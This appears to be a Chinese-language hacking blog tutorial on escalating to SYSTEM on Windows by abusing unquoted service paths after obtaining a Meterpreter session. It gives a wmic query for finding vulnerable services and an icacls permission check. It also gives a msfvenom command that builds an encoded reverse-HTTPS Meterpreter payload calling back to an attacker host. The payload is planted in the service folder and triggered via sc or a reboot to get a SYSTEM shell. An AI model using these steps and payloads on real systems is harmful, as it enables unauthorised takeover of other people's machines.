各位看官自行腦補一下以下畫面,經過你的不懈努力終於拿到了Meterpreter了,在興奮之余,你還打算更進一步直接利用getsystem命令進行提權,使用的都是教科書式的正常操作,但是吧唧一下失敗了!!這也是屢見不鮮的經典失敗案例!!怎么辦呢?撓頭抓耳不知所措嗎?危險漫步來告訴各位,那是錯誤的姿勢,正確的操作應該是什么呢?換個姿勢再來幾次,肯定有那么一次能找到G點的,慢慢來不要着急!!
接下來危險漫步會給大家講一講Windows上的提權方法,並且實操演示給各位看一看瞧一瞧!!
同時給大家補充一個知識點,大家都來記一下哈:把權限從本地管理員提升到系統后更容易執行一些操作,而不適當的系統配置則可以使低權限的用戶將自己的權限提升到高權限。
這次我不想講那些依賴內核漏洞的提權技術,太簡單了,沒什么興趣!
接下來,提權之路正式開始各位拭目以待吧!!
Trusted Service Paths
Trusted Service Paths是一個漏洞,主要是因為二進制服務文件路徑中Windows錯誤解釋空格而產生的,這個在絕大多數的情況下都是以系統權限運行的,危險漫步曾經就利用這個漏洞直接將權限提升至到了系統權限。成年舊事就不多提了啊!文件路徑一般都是這個樣子:C:\Program Files\Some Folder\Service.exe
細心的小伙伴可能會發現,這些路徑中是存在空格的,而就是這些空格會致使Windows努力的去尋找並且嘗試執行空格以前單詞為命名的程序,直到匹配成功為止。
打個比方就是Windows會嘗試定位並且執行以下的程序:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
在這種情況先,如果系統開發人員沒有將整個文件路徑全部包含在引號內的話,那么這個就會是一個非常致命的漏洞。對於這個漏洞前輩們已經給他起了一個很有意思的名詞:不帶引號的服務路徑(Unquoted Service Paths.)
在發現了這個漏洞之后,如果我別有用心的話,我就會在這個文件夾里面加入一個惡意文件,那么在服務器重啟之后的情況就是,以惡意程序為傀儡的系統權限就收歸你的囊中了。(PS:放置惡意程序的時候要先確保擁有目標文件件的權限)
說起來很簡單操作起來還是有一點費事的,接下來我們進入實操解說環節:
1.如何發現並且利用這個漏洞?
首先需要做的就是查找出所有的沒有用引號的服務路徑,這一點可以利用WMI命令查詢
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
好尷尬,第一槍就打中了這么多!PFNet服務的路徑沒有使用引號包含同時路徑中包含空格。(知識點)現在我們就可以直接利用文件夾權限進行操作了啊!直接使用內建工具icacls查看路徑中受影響文件夾的權限:
icacls "C:\Program Files (x86)\Privacyware"
注意看了啊!第一行BUILTIN\Users:(OI)(CI)(M),已經列出了所有的用戶權限了啊!!直接根據自己權限的大小進行下一步操作就可以了,現在我已經利用漏洞將惡意軟件植入了哈!!
這是我生成並且植入的第一個可執行文件,所以我希望能夠在本地管理員足增加一個賬戶,或者彈回一個系統權限的Meterpreter shell,這樣可以方便我進一步觀察!
命令:msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe
OK,到這一步的話就可以直接使用SC來執行植入的惡意軟件了,當然也可以開啟PFNet服務彈回shell。
sc stop PFNet
sc start PFNet
尷尬了~~測試之后發現,只有自己植入的那個文件夾的操作權限,卻沒有PFNet服務的權限,到了這一步只能面臨兩個選擇了,1.重頭再來過 2.提權目標被重啟。
已經到了這一步了,我毫不猶豫的選擇了第二項,在提權目標被重新啟動之后,我之前植入的那個文件件果然發生了奇效,他彈回了一條具有系統權限的shell